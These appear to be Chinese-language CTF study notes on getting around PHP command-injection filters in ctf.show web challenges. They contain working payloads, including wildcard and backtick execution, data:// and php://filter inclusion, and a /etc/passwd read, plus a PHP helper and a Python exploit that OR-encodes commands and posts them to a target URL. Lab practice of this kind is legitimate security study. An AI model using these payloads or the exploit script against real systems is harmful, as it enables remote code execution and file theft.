绕过php,flag等特殊字符:使用通配符
绕过system等执行函数:使用反单引号
过滤了. \ `等函数常用字符

,但是没有过滤$和_,使用逃逸,c=eval($_GET[1])
最nb的是可以使用URL编码进行绕过,因为服务器会自动解一层url编码,所以可以对过滤掉的字符进行一次url编码
过滤了分号,最后一条语句可以不带分号,结束的标志为’?>’,则我们可以将两条语句中间需要分号的位置替换为’?>’,那么就可以使用两条语句
过滤了分号和括号,则必须使用语言结构,echo print isset unset include require,使用include加上php过滤器实现
文件包含题目:使用伪协议:data伪协议可以执行后面的php代码
过滤掉了字符和数字:使用url编码去代替字符,如果可以使用或运算,即可通过或运算去取字符,web41
如果是过滤掉了冒号,则是想要过滤掉使用伪协议的方法,那么我们可以先逃逸出去一个变量后再使用伪协议进行文件包含操作
绕过了eval和system等执行函数,我们可以使用data伪协议,data伪协议data://text/plain,可以直接执行后面跟着的php代码
如果不能直接访问flag.php,可以先使用mv flag.php 1.txt进行重命名之后再访问1.txt,从而cat到flag.php中的内容
当遇到了黑洞问题,可以使用双写绕过,例如?c=ls;ls
当遇到了黑洞问题,并且过滤了分号,可以使用&&来起到分号的分隔作用
当过滤掉了空格,可以使用其它的URL编码后的空白符:
空格 %26 + tab水平制表符 %09 回车 %0a或%0A


,可以解析并执行


反单引号在php中和system()函数相同,起到命令执行的作用
`cp flag.php 1.txt` //这个地方是反单引号
和
system('cp flag.php 1.txt') //这个地方是单引号
的作用是相同的



include语句获取指定文件中存在的所有文本/代码/标记,并将其复制到使用include语句的文件中
include require希望在报错时继续执行并且向用户显示输出,使用include语句,因为当include语句包含的文件不存在时,只是产生一个警告,但是脚本会继续执行
而require引用的文件如果不存在,就会提示错误,并终止脚本的运行
include "header.htm";上面的header.htm中可以php语句,因为可以包含html静态文件,所以可以设计缓存机制,比如把一些页面分为几部分,有一些读取数据库耗费效率的部分可以缓存为html,然后通过include
文件上传中include代码执行原理:
$i=include 'abc.php';
abc.php中源码为
<?php
return "hello world";
?>
那么echo $i;如果include中引用的源码中使用了return,则返回return中的返回值,如果没有,则返回1大致方法为按照文件包含的方法去做
空格绕过:使用url编码
因为过滤了反单引号,可以使用include包含执行代码去绕过
相当于是逃逸加上文件包含的传参方式
?c=include%0a$_GET[1]?>&1=/etc/passwd
,发现可以回显
可以使用文件包含的原理来实现

,原理就是加上一个php的过滤器

,得到一串base64编码,解码即可获得flag

bool isset ( mixed $var [, mixed $... ] )用于销毁给定的变量
void unset ( mixed $var [, mixed $... ] )$var是要销毁的变量

过滤了冒号,为了过滤php伪协议形式的命令



发现是一个文件包含题目,考虑使用php伪协议
对于要包含php执行代码的文件包含题目,使用data://text/plain,伪协议可以绕过过滤了eval等执行函数的情况
?c=data://text/plain,<?php phpinfo();?>执行上面的函数发现可以执行,满足fopen和include都开启的条件,则后面的php执行代码可以操作
?c=data://text/plain,<?php system("mv fla?.php 1.txt")?>和过滤后缀的题目一样,重命名后再在路径后面直接添加1.txt即可访问到
有新文件产生在url后面拼接新文件的名字

发现还是一个文件包含题目,考虑使用php伪协议
使用伪协议发现可以执行

继续执行将flag.php文件换名的操作,最后直接在URL后面加上新换名的文件即可查看到flag
?c=data://text/plain,<?= system("cp fla?.??? 1.txt");?>
删除数组中的最后一个元素
array_pop(array)其中array参数是必须的
返回值:返回数组中的最后一个值,如果数组是空的,或者不是一个数组,将返回NULL
print_r()函数用于打印变量,以更容易理解的方式展示
bool print_r(mixed $expression [,bool $return]);$expression为要打印的变量,如果是string,integer,float则会打印变量值本身,如果是array类型,将会按照一定的格式显示键和元素
$return:可选,如果为true,则不会输出结果,而是将返回值的结果赋值给一个变量,false则直接输出结果,默认为false
<?php
$a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x','y','z'));
print_r ($a);
?>
返回结果为
Array
(
[a] => apple
[b] => banana
[c] => Array
(
[0] => x
[1] => y
[2] => z
)
)<?php
$b = array ('m' => 'monkey', 'foo' => 'bar', 'x' => array ('x', 'y', 'z'));
$results = print_r ($b, true); // $results 包含了 print_r 的输出结果
?>
这个则没有返回值,因为输出结果赋值给了results变量,$return的参数值设置为了true
get_defined_vars()函数返回由所有已经定义的变量所组成的数组
array get_defined_vars(void);返回值:返回一个包含所有已经定义变量列表的多维数组,这些变量包括环境变量,服务器变量,和用户定义的变量
因为不能用$,所以不能使用之前的逃逸字符来绕过
考虑是否能通过打印变量,从变量中获取到信息
?c=print_r(get_defined_vars());
发现是通过post给这个数组传参,尝试加一个post值
post传参后回显

为了拿到array中的那个phpinfo()的字符串,rce一下,使用next函数将指针后移,并且形成了一个新的数组,这个数组的值为phpinfo(),键为它的键
为了拿到指针指向的那个值,弹出array_pop(),将会返回数组中的最后一个值
%40 | %01 可以取到A,或运算是两个都为0才为0,一个为1则为1
计算机中保存URL编码是通过十六进制保存的
%40的二进制为0100 0000
%01的二进制为0000 0001
取或得到 0100 0001
结果从二进制转为十六进制,得到结果为65,转ascii码为A原理:从进行异或的字符中排除掉被过滤的,然后判断异或得到的字符是否为可见字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);用法:python exp.py
传递参数getflag
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

过滤掉了分号,但是还是需要两条命令
可以使用&&
当前面的语句执行结果为true时,会执行后面的语句,而且前后是分割的两条命令
遇到黑洞问题并且过滤掉了分号就可以用&&来起到分隔作用
shell会执行第一个参数,将第二个参数带入到黑洞

if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
} 


